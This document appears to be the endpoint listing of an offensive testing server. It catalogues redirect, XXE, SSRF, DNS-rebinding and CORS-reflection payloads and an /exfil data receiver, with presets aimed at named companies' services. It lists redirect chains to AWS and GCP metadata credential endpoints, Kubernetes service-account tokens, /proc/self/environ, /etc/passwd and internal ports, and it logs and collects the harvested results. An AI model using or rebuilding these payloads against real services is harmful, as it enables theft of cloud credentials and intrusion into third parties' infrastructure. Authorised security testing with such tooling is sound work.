flex.pandalf.net

Generic (program-independent)

• GET /redirect?url=<target>&code=302 — HTTP redirect
• GET /meta?url=<target>&delay=0 — meta-refresh redirect
• GET /js?url=<target> — JavaScript redirect
• GET /resp?s=200&b=hello&ct=text/plain&h={"X-Custom":"val"} — custom response
• GET /dtd?file=/etc/passwd&exfil=http://oob — XXE DTD
• GET /xxe?file=/etc/passwd&exfil=http://oob — complete XXE payload
• GET /svg?url=http://169.254.169.254/ — SVG with SSRF
• GET /pdf?url=http://target&exfil=http://oob — PDF SSRF (wkhtmltopdf)
• GET /chain/3?url=http://final — N-hop redirect chain
• GET /delay/5000?url=http://target — delayed redirect (ms, max 30s)
• GET /rebind?a=1.2.3.4&b=127.0.0.1&port=80 — DNS rebinding PoC
• GET /cors?origin=http://evil.com — CORS reflection
• GET /cookie?name=x&value=y&samesite=None — Set-Cookie
• GET|POST /exfil — data receiver (logged)
• GET /ssrf/list — all SSRF presets
• GET /ssrf/imds — SSRF → AWS IMDS
• GET /ssrf/imds-ipv6 — SSRF → IMDS via IPv6-mapped
• GET /status — health check JSON

Generic (original)

• GET /redirect?url=<target>&code=302 — redirect to any URL

Cloudinary (Squid CVE / SVG SSRF)

• /cl/squid — 302 → http://127.0.0.1/
• /cl/squid?port=3000&path=/test — 302 → http://127.0.0.1:3000/test
• /cl/meta — 302 → AWS metadata
• /cl/meta?type=gcp — 302 → GCP metadata
• /cl/chain — HTML with multiple internal embeds
• /cl/fetch?target=<url> — 302 → target (for raw upload API)

Hostinger (Fake WordPress)

• /h/wp-json — WordPress discovery JSON (auth_url → GCP metadata)
• /h/wp-json?auth_url=<url> — custom authorization URL
• /h/* — catch-all 302 → GCP metadata

Fireblocks (Webhook Redirect)

• POST /fb/webhook — receive event, 302 → configured target
• /fb/set?url=<target> — set redirect target
• /fb/status — current config & recent events

Monitoring (Redirect Chains)

• aws-creds → http://169.254.169.254/latest/meta-data/iam/security-credentials/
• aws-imdsv2 → http://169.254.169.254/latest/api/token
• aws-meta → http://169.254.169.254/latest/meta-data/
• consul → http://127.0.0.1:8500/v1/status/leader
• docker → http://127.0.0.1:2375/version
• envoy → http://127.0.0.1:9901/server_info
• file-environ → file:///proc/self/environ
• file-hostname → file:///etc/hostname
• file-hosts → file:///etc/hosts
• file-k8s-token → file:///var/run/secrets/kubernetes.io/serviceaccount/token
• file-passwd → file:///etc/passwd
• file-resolv → file:///etc/resolv.conf
• gcp-meta → http://metadata.google.internal/computeMetadata/v1/?recursive=true
• gcp-token → http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
• internal-10 → http://10.0.0.1/
• internal-172 → http://172.16.0.1/
• internal-192 → http://192.168.1.1/
• k8s-version → https://kubernetes.default.svc.cluster.local/version
• kubelet → http://127.0.0.1:10248/healthz
• kubelet-pods → https://127.0.0.1:10250/pods
• local-10250 → https://127.0.0.1:10250/pods
• local-2379 → http://127.0.0.1:2379/version
• local-3000 → http://127.0.0.1:3000/
• local-6000 → http://127.0.0.1:6000/
• local-6379 → http://127.0.0.1:6379/
• local-80 → http://127.0.0.1:80/
• local-8080 → http://127.0.0.1:8080/
• local-8500 → http://127.0.0.1:8500/v1/agent/self
• local-9200 → http://127.0.0.1:9200/
• test → https://httpbin.org/get

Front (HelpScout KB Format)

• /hs/ — HelpScout KB home (categories)
• /hs/category/1-api — Category page
• /hs/article/1-api — Article page
• base_url: https://flex.pandalf.net/hs with type helpscout

Tools

• /log — request log (last 100)
• /results — collected data